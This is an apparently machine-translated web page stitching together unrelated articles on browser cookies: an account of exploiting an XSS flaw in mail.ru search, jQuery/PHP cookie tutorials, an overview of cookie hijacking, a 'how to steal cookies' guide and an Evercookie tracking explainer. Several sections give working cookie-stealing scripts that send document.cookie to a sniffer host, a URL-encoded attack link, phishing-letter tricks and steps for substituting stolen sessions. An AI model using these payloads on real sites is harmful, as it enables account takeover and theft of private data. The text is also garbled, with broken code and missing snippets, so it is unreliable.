Menu
homeAndroid

Password saved in the browser from cookies. An easy way to steal cookies. Physical access to data

In which it was proposed to attend a free event dedicated to information security issues. Since the event was held in my city, I decided that I definitely needed to go there. The first lesson was devoted to vulnerabilities on websites such as XSS. After the lesson, I decided that I needed to consolidate the acquired knowledge in real conditions. I chose several sites that relate to my city and started trying to insert my script into all forms. In most cases the script was filtered out. But it happened that the “alert” was triggered and my message appeared. I reported the found vulnerability to the administrators, and they quickly fixed everything.

On one of these days, while checking the latest mail on mail.ru, a form for searching for letters in the mailbox caught my eye. Occasionally I used this search to find something I needed in a pile of my old letters. Well, since in the last couple of days I have inserted my “alert” almost everywhere I could, my hand reflexively reached for this search form. I typed the code for my script and pressed Enter. Imagine my surprise when I saw a painfully familiar message on the screen...


At the Open InfoSec Days lecture, the speaker said that programmers are quite skeptical about vulnerabilities of this kind, saying “alert? Well, so what? This is not dangerous". If on other sites I was content with only this window with my message, then in this case I decided to go further and show what can come out of such an “alert”.

So, the script works, which means there is a vulnerability. Therefore, you can try running some other script. For example, a script that sends another user's cookies to us. For the script to work, we need to force the user to execute our script. This can be done by sending him a letter with the appropriate link, after clicking on which the mailbox will be searched and the code we need will be executed.

It took some time and a lot of experimentation to understand the mechanics of the vulnerability. Sometimes the script worked, sometimes it was filtered out. After some effort, it was empirically determined that the script works 100% only if the search for letters gives a positive result. That is, when a user performs a search with our script, it is necessary that at least one letter in his mailbox is found according to the specified parameters. It's not difficult to arrange this.

Also, instead of an “alert”, we need a script that will transfer cookies to our sniffer. We will write this script in a separate file and load it into our search. I created a test.js file with the necessary code and uploaded it to the hosting. The script code is like this:

Img=new Image();
img.src="http://sitename.ru/sniff.php?cookie="+document.cookie;
function F() (
location="http://www.solife.ru";
}
setTimeout(F, 5000);

What I would like to clarify here. Let's put ourselves in the shoes of the attacker. We need the user to click on the link. How can I force him to do this? You can promise mountains of gold and to receive them you need to follow our link to the site. But I don't think it will work. People don’t fall for this anymore (I myself constantly delete such letters without even reading them). Therefore, we will play on human pity, since it still exists in nature. We ask you to vote on the site for saving endangered animals. First, we will take the cookies, and then we will redirect the user to the voting site. The timeout for redirection was set to 5 seconds, otherwise the cookies simply did not have time to be transferred to the sniffer, and the user was immediately redirected to a site about animals. Instead of an “alert” I used the following script:

When I was done with the scripts, I started writing the letter. I came up with something like this:


It turned out to be quite cynical, but I tried to bring the conditions as close as possible to reality. At the end of the letter there is a line with a script, this is so that our letter will be found when we do a search. So that the line does not raise unnecessary questions, I painted it white. I also put a space in the word “http” so that the string would not be recognized and converted into a link. Otherwise, despite the fact that the script line is written in white font, the link would be highlighted in blue by the recipient, and we don’t need this. Smart search will still find and recognize this string, despite the spaces.

E.mail.ru/cgi-bin/gosearch?q_folder=0&q_query=%27%3E%3Cscript%20src%3D%27http%3A%2F%2Fsitename.ru%2Ftest.js%27%3E%3C%2Fscript%3E

I used URL encoding for the script so that nothing was filtered out. I also added the “q_folder=0” parameter for search, so that the search occurs in the “Inbox” folder.

The letter is ready, we send it. I used my second mailbox on the same service as the recipient. Let's see what came to the other box.

Our script text is not visible because it blends into the background. Let's click on the link and see what happens. The user is moved to the search results for emails based on the parameter we specified. Our letter that we sent is visible in the search results. At this time, our script has already worked and sent the user’s cookies to the sniffer. After 5 seconds (the time depends on the script settings), the user is redirected to the voting site.

I check my sniff.txt file:

Since my goal is not to steal other people’s boxes or gain access to them, I’ll end the story here. But theoretically, you can replace your cookies with someone else’s and gain access to someone else’s mailbox. In general, if an attacker is interested in a target, he will find a use for the information received.

I would like to thank Sergei Belov (

It's probably worth starting with what cookies are and what they are needed for. A cookie is a piece of data that can be stored on the user’s side and used later to implement their ideas.

Let's imagine that on your website you have the opportunity to choose the color scheme of the site. It is very convenient to implement this on cookies, since the theme he selects will be visible only to him.

Cookies exist in both PHP and jQuery. Therefore, we will consider each case in more detail.

Detailed instructions for working with Cookies in jQuery

1. Setting Cookies

Now we can try to create our first cookie:

$.cookie("cookie_name", "cookie_value", ( expires: 3, path: "/", domain: "your_site.ru", secure: true ));

What's what here?

“cookie_name” – cookie name;

“cookie_value” – cookie value;

“expires” – the number of days the cookies will be stored (in our case – 3 days). After this time, cookies will be automatically deleted;

“path” – availability of cookies on the site (in our case “/” - available on the entire site). If you wish, you can specify only a specific page or section where cookies will be available, for example, “/audio/rock”;

“domain” – the domain on which the cookie is valid. If you have a subdomain, you can specify it in this parameter, for example, “domain: “subdomain.your_site.ru””, and in this case the cookie will only be available on the domain “subdomain.your_site.ru”;

“ secure" – a parameter indicating that the cookie should be transmitted over the secure https protocol.

Here, not all parameters are required, and in order to set cookies, this construction will be sufficient:

$.cookie("cookie_name", "cookie_value", ( expires: 3, path: "/" ));

2. Receiving a Cookie

Getting cookies is quite simple; you can do this using the code:

$.cookie("cookie_name");

This code can be assigned to a variable and used for your needs:

var content = $.cookie("cookie_name");

if(content != null) ( alert("Cookie exists!"); ) else ( alert("Cookie does not exist!"); )

3. Agree, this is very convenient.

Removing Cookies

To remove a cookie value, set it to "null":

$.cookie("cookie_name", null);

This, I think, is the end of the introduction to working with Cookies in jQuery. This knowledge is quite enough to implement your ideas.

Detailed instructions for working with Cookies in PHP

1. Setting Cookies

Unlike the previous option for working with cookies, you don’t need to connect anything here.

What's what here?

“cookie_name” – cookie name;

“cookie_value” – cookie value;

In order to set cookies in PHP, we will use the built-in “setcookie” function:

“time()+3600” – cookie lifetime in seconds (in our case – 1 hour). If you set the lifetime to “0”, the cookie will be deleted as soon as the browser is closed;

“/” – the section in which cookies are available (in our case, available throughout the site). If you want to limit the section in which cookies will be available, then replace “/” with, for example, “/audio/rock”;

“your_site.ru” – the domain on which the cookie will be available;

“true” – a parameter indicating that the cookie is accessible only via the secure https protocol. Otherwise the value is false ;

“false” – a parameter indicating that the cookie is available to scripting languages. Otherwise – true (available only via http).

Here, too, not all parameters are required, and to create a cookie, the following construction will suffice:

2. Receiving a Cookie

For convenience, the cookie value can be set via a variable:

In order to receive cookies, you need to use:

$_COOKIE["cookie_name"];

To eliminate errors due to possible missing cookies, use:

3. Agree, this is very convenient.

As in the previous example of working with Cookies in jQuery, cookies can be assigned to a variable:

Removing cookies in PHP is just as easy as in jQuery. All you have to do is set the cookie to an empty value and a negative time (time that has already passed):

Setcookie("cookie_name", "", time() - 3600);

I would like to note that in some cases, using cookies is much more rational than using a database to implement the necessary functionality.

Cookies- information in the form of a text file saved on the user’s computer by the website. Contains authentication data (login/password, ID, phone number, mailbox address), user settings, access status. Stored in the browser profile.

Cookie hacking is the theft (or “hijacking”) of a web resource visitor’s session. Private information becomes available not only to the sender and recipient, but also to a third party - the person who carried out the interception.

Cookie Hacking Tools and Techniques

Computer thieves, like their colleagues in real life, in addition to skills, dexterity and knowledge, of course, also have their own tools - a kind of arsenal of master keys and probes. Let's take a look at the most popular tricks hackers use to extract cookies from Internet users.

Sniffers

Special programs for monitoring and analyzing network traffic. Their name comes from the English verb “sniff” (sniff), because. literally “sniff out” transmitted packets between nodes.

But attackers use a sniffer to intercept session data, messages and other confidential information. The targets of their attacks are mainly unprotected networks, where cookies are sent in an open HTTP session, that is, they are practically not encrypted. (Public Wi-Fi is the most vulnerable in this regard.)

To embed a sniffer into the Internet channel between the user node and the web server, the following methods are used:

  • “listening” to network interfaces (hubs, switches);
  • branching and copying traffic;
  • connecting to a network channel gap;
  • analysis through special attacks that redirect the victim’s traffic to the sniffer (MAC-spoofing, IP-spoofing).

The abbreviation XSS stands for Cross Site Scripting. Used to attack websites in order to steal user data.

The principle of XSS is as follows:

  • an attacker inserts malicious code (a special disguised script) into a web page of a website, forum, or into a message (for example, when corresponding on a social network);
  • the victim goes to the infected page and activates the installed code on his PC (clicks, follows a link, etc.);
  • in turn, the executed malicious code “extracts” the user’s confidential data from the browser (in particular, cookies) and sends it to the attacker’s web server.

In order to “implant” a software XSS mechanism, hackers use all sorts of vulnerabilities in web servers, online services and browsers.

All XSS vulnerabilities are divided into two types:

  • Passive. The attack is obtained by requesting a specific script on a web page. Malicious code can be injected into various forms on a web page (for example, into a site's search bar). The most susceptible to passive XSS are resources that do not filter HTML tags when data arrives;
  • Active. Located directly on the server. And they are activated in the victim’s browser. They are actively used by scammers in all kinds of blogs, chats and news feeds.

Hackers carefully “camouflage” their XSS scripts so that the victim does not suspect anything. They change the file extension, pass off the code as an image, motivate them to follow the link, and attract them with interesting content. As a result: a PC user, unable to control his own curiosity, with his own hand (with a mouse click) sends session cookies (with login and password!) to the author of the XSS script - the computer villain.

Cookie substitution

All cookies are saved and sent to the web server (from which they “came”) without any changes - in their original form - with the same values, strings and other data. Deliberate modification of their parameters is called cookie substitution. In other words, when replacing cookies, the attacker pretends to be wishful thinking. For example, when making a payment in an online store, the cookie changes the payment amount downward - thus, “saving” on purchases occurs.

Stolen session cookies on a social network from someone else’s account are “inserted” into another session and on another PC. The owner of the stolen cookies gets full access to the victim's account (correspondence, content, page settings) as long as she is on her page.

“Editing” cookies is carried out using:

  • “Manage cookies...” functions in the Opera browser;
  • Cookies Manager and Advanced Cookie Manager addons for FireFox;
  • IECookiesView utilities (Internet Explorer only);
  • a text editor such as AkelPad, NotePad or Windows Notepad.
Physical access to data

A very simple implementation scheme, consisting of several steps. But it is effective only if the victim’s computer with an open session, for example VKontakte, is left unattended (and for a long time!):

  • A javascript function is entered into the browser's address bar to display all saved cookies.
  • After pressing “ENTER” they all appear on the page.
  • Cookies are copied, saved to a file, and then transferred to a flash drive.
  • On another PC, cookies are replaced in a new session.
  • Access to the victim's account is granted.

    • As a rule, hackers use the above tools (+ others) both in combination (since the level of protection on many web resources is quite high) and separately (when users are excessively naive).

    XSS + sniffer
  • An XSS script is created, which specifies the address of an online sniffer (either home-made or a specific service).
  • The malicious code is saved with the extension .img (image format).
  • This file is then uploaded to the website page, chat, or personal message - where the attack will be carried out.
  • The user's attention is drawn to the created “trap” (this is where social engineering comes into force).
  • If the trap is triggered, the cookies from the victim's browser are intercepted by the sniffer.
  • The attacker opens the sniffer logs and retrieves the stolen cookies.
  • Next, it performs a substitution to obtain the rights of the account owner using the above tools.
    • Protecting cookies from hacking
  • Use an encrypted connection (using appropriate protocols and security methods).
  • Do not respond to dubious links, pictures, or tempting offers to familiarize yourself with “new free software.” Especially from strangers.
  • Use only trusted web resources.
  • End the authorized session by clicking the “Logout” button (not just closing the tab!). Especially if you logged into your account not from a personal computer, but, for example, from a PC in an Internet cafe.
  • Do not use the browser's "Save Password" feature. Stored registration data increases the risk of theft significantly. Don't be lazy, don't waste a few minutes of time entering your password and login at the beginning of each session.
  • After web surfing - visiting social networks, forums, chats, websites - delete saved cookies and clear the browser cache.
  • Regularly update browsers and antivirus software.
  • Use browser extensions that protect against XSS attacks (for example, NoScript for FF and Google Chrome).
  • Periodically in accounts.

    • And most importantly, do not lose vigilance and attention while relaxing or working on the Internet!

    A friend of mine forgot the password to one site. However, he had previously checked the “Remember me” checkbox in the Google Chrome browser when logging in, which allowed him to access the site under his account. I received a question whether it is possible to transfer this magical state to another computer. It would have been more correct, of course, to change or restore the password, but my friend could not do this for reasons unrelated to the case.

    How to use intercepter-ng for dummies

    Despite the variety of modern software to choose from, it is difficult to find better hacking programs for Android than intercepter ng. The first criterion indicating in favor of this product is its actual performance. Most of the sniffers offered on the network are just imitations that do not perform their stated functions.

    The next positive factors are the versatility of the application and coverage of a wide audience of users.

    Computer help 939-29-71

    Let's start in order. Cookies or "cookies" are very small text files - bookmarks with information.

    The web server transmits this information to the user's browser. where this information is stored until required. Not quite clear. Well. Fine.

    I'll try to make it even simpler. Look. you have registered on any website.

    At the time of registration, these same “cookies” are created.

    That's what they are.

    Cookie Cadger

    The program listens to traffic on the WiFi network, intercepts cookies and replicates the user's session in your browser, repeating requests with his credentials. Author Matthew Sullivan gave a presentation of the program on September 30 at the Derbycon hacker conference. Right during the speech, Matthew Sullivan intercepted an unsecured session with Google of one of the conference visitors via WiFi.

    How to steal cookies

    If, while on a website page, you enter the following text into the address bar of your Firefox or Opera browser: javaсript:document.write(document.cookie); then you will see something like: remixAdminsBar=0; remixGroupType=0; remixpass=******************; remixwall=0; remixInformation=0; remixMembersBar=0; remixdescription=0; remixautobookmark=8; remixemail=*******; remixmid=23363; remixchk=5; remixaudios=0; remixlinksBar=1; remixOfficersBar=0; remixPhotosBar=0; remixTopicsBar=0; remixvideos=0; remixRecentNews=0; remixAlbumsBar=0 Attention! .

    The Complete Guide to Cross-Site Scripting

    XSS is a type of software vulnerability native to Web applications that allows an attacker to inject client-side script into Web pages viewed by other users. Wikipedia defines XSS as follows: “Cross-site scripting (XSS) is a type of software vulnerability native to the Web. -applications (by bypassing browser security restrictions)”, which allows an attacker to inject client script into web pages viewed by other users.

    Difference between cookies and sessions

    Not long ago I wrote an article about how to register and authorize users on a website.

    ". In this article I'm going to break down the difference between sessions and cookies. so that you can finally make your choice.

    Cookies. No, it's not about cookies at all, it's about your safety. So you go to your favorite site “vkontakte” (or, for example, look at mail) on someone else’s computer, refuse the “save password” option, happily look through the mail and leave. And don’t think about the fact that you can now log into a social network or email under your name.

    I'm not even considering the situation with a program that remembers the password without your knowledge. This is already a deliberate hack, and you will probably suspect that something like this could happen and you will not go to your favorite site on such a computer. But we can talk about simple human curiosity - you were visiting friends, and then suddenly they get the opportunity to read your mail. Are you sure they will refuse this opportunity? Aren't you afraid that something will come out? In any case, I will put aside questions of morality and just talk about how information is stored on the computer that you can now be allowed into some site without asking for a password.

    how to steal Cookie

    And the name of this technology is cookies.

    And this is where it all started. The http protocol, through which you actually view sites (including this one), did not initially provide for the possibility of maintaining a connection. That is, roughly speaking, you send a request to the site, receive a response, it is displayed on the screen, and then the server does not remember anything about you. This, of course, is good when the site is purely informational and should not remember anything about you, but we live in the age of Web 2.0 😉 The natural development of the protocol is POST and GET requests, when you send some data, the server can write it to the database data, but this is not enough.

    Let's look at a very simple example. Forum. So you registered, and there is a post on the forum that there is such and such a user with such and such a password and some other additional data. But now you go to the forum and log in - enter your password. Somewhere there should be information that you are logged in. On server? Of course not! It is impossible to store information on the server that the authorization was made from your computer - it will not be able to distinguish you from someone else (even your IP address does not uniquely identify you)! Thus, information that authorization has occurred must be stored on your computer. That's what cookies are for, that's what they were created for.

    A cookie is a small record on your computer that stores information about the site you have visited. When you log in, a similar entry is created, after which you can walk around the forum, and it will recognize you. However, this will already happen automatically - thanks to the information stored in the cookie - so pretending that you are the main administrator of the forum will still not work bypassing the password check.

    Now we can return to where this article began. If you logged in somewhere without even saving a password, it may happen that an entry was created on the computer that now allows you to log into this resource under your name without authorization. Such an entry itself will become outdated after some time, but you can force it to be cleared. Each browser does this differently, I will show you how this can be done in my favorite Google Chrome. Opening the parameters

    Go to the “advanced” tab and find the “show cookies” button

    Now, of course, you can delete all cookies, but this may upset the computer owner. Therefore, for example, in the top field you can enter the name of the site you are interested in

    Then you can clear only the cookies related to this site. You can try it on mine. However, if you log in to my forum and then clear your cookies, the login information will be forgotten. Try it!

    comments powered by

    1.What is XSS?
    An XSS vulnerability allows arbitrary javascript code to be inserted into the body of a page. The XSS attack differs from others (for example, SQL injection or PHP injection) in that it affects the client, not the server.

    how to steal cookies

    With its help you cannot view database tables, load a shell, etc. The most common use of XSS is to steal cookies.
    Cookies are a small piece of data created by a web server and stored on the user's computer as a file. Typically, cookies are used to store accounts, and, most often, they contain an encrypted password, login, and session ID (although not always)
    XSS comes in two types, active and passive.

    Passive XSS requires direct participation from the victim, such as clicking on a link containing javascript code. When using this type of XSS, you cannot do without SI (Social Engineering)

    Active XSS does not require any participation from the victim; all they need to do is visit the page containing the XSS. Active XSS can be, for example, in messages on forums, chats, adding news, etc.

    2.Search for XSS
    In this paragraph I will tell you how to find xss

    2.1.Passive XSS
    To find passive XSS, just substitute alert('xss') into the input form, if the script worked and the message "xss" appears, then the vulnerability is present, if the script did not work, you can also try ">alert(), this is probably the most common xss vulnerability. If neither one nor the other script worked, then most likely there is no vulnerability.
    Let's look at an example.
    http://miss.rambler.ru/srch/?sort=0& … amp;words=
    Do you see the "search" form? insert ">alert()" there and click "find"
    A window with xss appears, which means xss is present. (Perhaps by the time you read this article, this xss will have already been removed)

    2.2.Active XSS
    Such css can be, for example, in profile fields, when adding news in the title of the news and in the news itself (less often), in messages on forums/chat rooms/guest rooms with html enabled. Everything is simple here, we enter the script from the previous subparagraph into the fields, and if the message is displayed on the screen, then the vulnerability is present.
    Let's look at xss in BB tags on the forums.
    You can try to simply insert javascript code into the tag, for example like this:
    javascript:alert('xss')
    Some tags have parameters, for example a tag has dynsrc and lowsrc parameters, let's try to substitute the code like this:
    http://www.site.ru/image.jpg dynsrc=javascript:alert(‘xss’)
    If the script worked, xss is there

    3.Using XSS to Steal Cookies
    Now the most delicious))))
    In order to steal cookies, we need a web sniffer, you can install some kind of sniffer on your hosting, or you can use an online sniffer, of which there are plenty now.
    To steal cookies via passive XSS, the victim must follow a poisonous link. To steal cookies, we will use another script instead of alert('xss'):
    img = new Image();


    we substitute the script into the link and let the victim follow it, look at the sniffer log and rejoice.
    Let's look at an example.
    Let's take that XSS on Rambler from the previous paragraph.
    We insert
    ">
    img = new Image();
    img.src = "sniffer image address"+document.cookie;

    in the search form, click “find”, look at the address bar and see:

    http://miss.rambler.ru/srch/?sort=0& … &words =">
    We send this link to the victim and enjoy the cookies.
    Seeing such a link, the victim may suspect something, so it is advisable to encode
    ">img = new Image();img.src = "sniffer image address"+document.cookie;
    in URL Or use services like http://tinyurl.com/
    Let's move on to active XSS, everything is simple here, instead of alert() we insert img = new Image();img.src = "address of the sniffer image"+document.cookie;

    Now we have cookies. But what to do with them? It's simple, you need to substitute them instead of your own. The Opera browser has a built-in cookie editor (tools->advanced->cookie management), there is a plugin for Firefox (I don’t remember what it’s called, use Google)
    That's all for now, perhaps the article will be supplemented

    Cookies are a technology that allows a website to “remember” a user,
    save his settings and not ask him for his login and password every time. Can
    think that if you delete cookies in your browser, the site will not recognize you. But this one
    Confidence is deceptive.

    You can worry about your anonymity as much as you like, use a proxy
    and VPN, forge HTTP request headers that reveal the system being used,
    browser version, time zone and a lot of other information, but the website doesn’t care
    There will still be ways to recognize the fact that you have already been there. In many
    in cases this is not particularly critical, but not in a situation where at some
    service you need to introduce yourself as another user or simply save
    anonymity. It’s easy to imagine how the anti-fraud system of some kind of conventional
    financial organization, if it determines that transactions were carried out from one computer
    authorization under the accounts of completely different people. And isn't it nice?
    realize that someone on the Internet can track your movements? Hardly. But
    first things first.

    How do cookies work?

    Cookies have been used for centuries to identify users.
    Cookies (from English "cookies") are a small piece of text information,
    which the server sends to the browser. When a user accesses the server
    (types its address in the browser line), the server can read the information,
    contained in cookies, and based on its analysis, perform any actions.
    For example, in the case of authorized access to something via the web in cookies
    login and password are saved during the session, which allows the user not to
    enter them again when prompted for each password-protected document. So
    This way the website can "remember" the user. Technically it looks like
    in the following way. When requesting a page, the browser sends a short
    HTTP request text.

    For example, to access the page www.example.org/index.html the browser
    sends the following request to the www.example.org server:

    GET /index.html HTTP/1.1
    Host: www.example.org

    The server responds by sending the requested page along with the text,
    containing the HTTP response. This may instruct the browser to save cookies:

    HTTP/1.1 200 OK
    Content-type: text/html
    Set-Cookie: name=value

    If there is a Set-cookie line, the browser remembers the line name=value (name =
    value) and sends it back to the server with each subsequent request:

    GET /spec.html HTTP/1.1
    Host: www.example.org
    Cookie: name=value
    Accept: */*

    Everything is very simple. If the server received cookies from the client and it has them in
    database, he can definitely process them. So, if it were cookies with
    the user will not have some information about authorization at the time of visiting
    you will be asked for login and password. According to the standard, cookies have a certain lifespan
    (even though it can be very large), after which they die. And any
    the user can easily delete saved cookies by using
    the corresponding option, which is available in any browser. This fact is very
    upsets the owners of many resources who do not want to lose touch with
    visitor. It is important for them to track him, to understand that “this person was with us
    yesterday, and the day before yesterday, etc." This is especially true for various analyzers
    traffic, systems for maintaining statistics, banner networks, etc. This is where
    the fun begins, because developers use all sorts of
    tricks that many users are not even aware of. They're on the move
    various tricks.

    Flash cookies

    The thing is that in addition to the usual HTTP “goodies”, which everyone has long been interested in
    got used to it, now alternative storages are actively used, where the browser
    can write data on the client side. The first thing to mention is
    storage of what you love and hate at the same time Flash (for those users who
    which it is installed). Data is stored in so-called LSO (Local Shared
    Objects) - files similar in format to cookies that are saved locally on
    user's computer. The approach is in many ways similar to conventional "goodies" (in this
    case, a small amount is also stored on the user’s computer.
    text data), but has some advantages:

    • Flash cookies are common to all browsers on a computer (unlike
      from the classic cookie, which is tied to the browser). Settings, information
      about the session, like, say, some identifier for tracking the user,
      are not tied to any specific browser, but become common for
      everyone.
    • Flash cookies allow you to store much more data (as
      usually 100 KB), which increases the number of user settings,
      available for saving.

    In practice, LSO becomes a very simple and affordable tracking technology
    user. Think about it: if I suggested you remove all the “goodies” in
    system, would you remember about Flash cookies? Probably not. Now try to take
    any viewer, for example, free

    FlashCookiesView and see how many interesting things are recorded in
    Flash repositories. A list of sites that really don’t want to
    lose your trace, even if you clear your browser cache (along with the goodies).

    Cookies everywhere with evercookie

    But if advanced users and even more or less good users have heard about LSO
    developers, then about the existence of other data storage techniques, sometimes very
    sophisticated (but effective), many do not even suspect. At least take new ones
    repositories that appeared in
    (Session Storage,
    Local Storage, Global Storage, Database Storage via SQLite), about which you can
    read in the article "". A Polish specialist was seriously confused by this problem
    on safety Samy Kamkar. As a result, a special
    Evercookie JavaScript library, which is specifically designed to
    create the most durable cookies in the browser. Someone may ask: "Why
    is this necessary?" Very simple: in order to uniquely identify
    page visitor if he comes again. Such difficult-to-kill cookies are often
    are called Tracking cookies and are even detected by some antiviruses as
    threat to privacy. Evercookie can reduce all attempts to remain anonymous to
    zero.

    The secret is that evercookie uses everything available to the browser at once
    storage: regular HTTP cookies, LSO, HTML5 containers. In addition, it comes into play
    several cunning tricks that, with no less success, allow you to leave
    computer the desired mark. Among them: generation of special PNG images,
    using history browser, storing data using ETag tag, container
    userData in Internet Explorer - it turns out that there are a lot of options.

    You can see how effectively this works on the website.
    developer -
    http://samy.pl/evercookie. If you click on the "Click to create an
    evercookie", cookies with a random number will be created in the browser. Try it
    delete cookies wherever possible. I bet now you
    I thought: “Where else can I delete cookies, except in the browser settings?”
    Are you sure you deleted everything? Reload the page to be sure, you can even do it again
    open browser. Now feel free to click on the “Click to rediscover cookies” button.
    WTF? This did not prevent the site from taking data from somewhere - in the page fields
    the number that was saved in cookies was displayed. But did we rub them? How
    did it work? Let's try to understand some techniques.

    Cookies in PNG

    An extremely interesting technique used in Evercookie is the approach
    storing data in cached PNG images. When evercookie sets
    cookies, it accesses the evercookie_png.php script with a special HTTP “bun”,
    different from that used to store standard information about
    sessions. These special cookies are read by a PHP script that creates
    A PNG image in which all RGB (color) values ​​are set according to
    with information about the session. Ultimately the PNG file is sent to the client's browser
    with the note: “the file must be cached for 20 years.”

    Having received this data, evercookie deletes the previously created special
    HTTP cookies, then makes the same request to the same PHP script, but not
    providing information about the user. He sees that the data he is interested in
    no, and it cannot generate a PNG. Instead, the browser returns
    fake HTTP response "304 Not Modified" which causes it to pull the file from
    local cache. The image from the cache is inserted into the page using the tag
    HTML5 Canvas. Once this happens, evercookie reads every pixel
    Canvas content, extracting the RGB values ​​and thus restoring
    the original cookie data that was stored in the image. Voila, that's it
    works.

    Hint with Web History

    Another technique uses browser history directly. Once the browser
    installs the bun, evercookie encodes the data using the Base64 algorithm,
    which need to be preserved. Let's assume that this data is a string,
    the resulting "bcde" after conversion to Base64. Library sequentially
    accesses the following URLs in the background:

    google.com/evercookie/cache/b
    google.com/evercookie/cache/bc
    google.com/evercookie/cache/bcd
    google.com/evercookie/cache/bcde
    google.com/evercookie/cache/bcde-

    So these URLs are saved in history. Next comes a special
    technique - CSS History Knocker, which, using a JS script and CSS, allows
    check whether the user visited the specified resource or not (more details here -
    samy.pl/csshack). For
    evercookie bun checks run through all possible Base64 characters on
    google.com/evercookie/cache, starting with the character "a" and moving forward, but only
    for one character. Once the script sees the URL that was accessed, it
    starts searching for the next character. It turns out to be a kind of brute force. In practice
    this selection is carried out extremely quickly, because there are no requests to
    server are not executed. Search in history is carried out locally as much as possible
    short term. The library knows it has reached the end of the line when the URL is
    end with the symbol "-". We decode Base64 and get our data. How
    name browser developers who allow this?

    Try deleting

    What happens if the user rubs his cookies? An important feature of the library itself
    evercookie is that the user will have to try hard to
    delete cookies left in different places - now there are 10 of them. If in at least one
    If the cookie data remains in place, it will automatically be restored in all other
    places. For example, if the user not only deletes his standard cookies, but
    and clear LSO data, clean up HTML5 storages, which is already unlikely, anyway
    The cookies created using the cached PNG and web history will remain. At
    the next time you visit a site with evercookie, the library will not only be able to find
    hidden bun, but will also restore them in all other places that
    supports client browser. An interesting point is related to the transfer
    "goodies" between browsers. If the user receives cookies in one browser,
    that is, there is a high probability that they will be reproduced in others. The only thing
    a necessary condition for this is saving the data in a Local Shared Object cookie.

    How to use?

    The Evercookie library is completely open, so you can freely
    use it and customize it to suit your needs. The server is not presented with any
    serious requirements. All you need is access to a JS script in which
    contains the evercookie code. To use Flash cookies (Local Shared Object),
    there must be a file evercookie.swf in the folder with the script, and for the technician to work,
    based on PNG caching and the use of ETag storage, access to
    PHP scripts evercookie_png.php and evercookie_etag.php. Use evercookie
    You can do this on any page of the site by connecting the following script:





    var ec = new evercookie();
    // set cookie "id" with value "12345"
    // syntax: ec.set(key, value)
    ec.set("id", "12345");
    // restore the cookie with the name "id"
    ec.get("id", function(value)
    {
    alert("Cookie value is " + value)
    });

    There is also another way to obtain cookies, based on using more
    advanced callback function. This allows you to extract cookie values ​​from
    various storages used and compare them with each other:

    function getCookie(best_candidate, all_candidates)
    {
    alert("The retrieved cookie is: " + best_candidate + "\n" + "You
    can see what each storage mechanism returned " + "by looping through the all
    candidates object.");

    For (var item in all_candidates) document.write("Storage
    mechanism " + item + " returned: " + all_candidates + "
    ");
    }

    ec.get("id", getCookie);

    The evercookie library is available to everyone. It's a little scary, especially if
    You have absolutely no idea what you can do against her.

    How to protect yourself?

    There are no problems with clearing cookies in the browser and Flash. But try
    delete the data wherever evercookie has been left behind! After all, if you leave the cookies in one
    place - the script will automatically restore the value in all others
    storages. Essentially this library is a good mode checker
    privacy, which almost all browsers now have. And that's what I tell you
    I’ll say: from Google Chrome, Opera, Internet Explorer and Safari, only the last one
    "Private Browsing" mode completely blocked all methods used
    evercookie. That is, after closing and opening the browser, the script could not
    restore the value it left. There is reason to think. Moreover, in
    in the near future, the developer evercookie promised to add more to the library
    several data storage techniques, including using Isolated technology
    Storage in Silverlight, as well as a Java applet.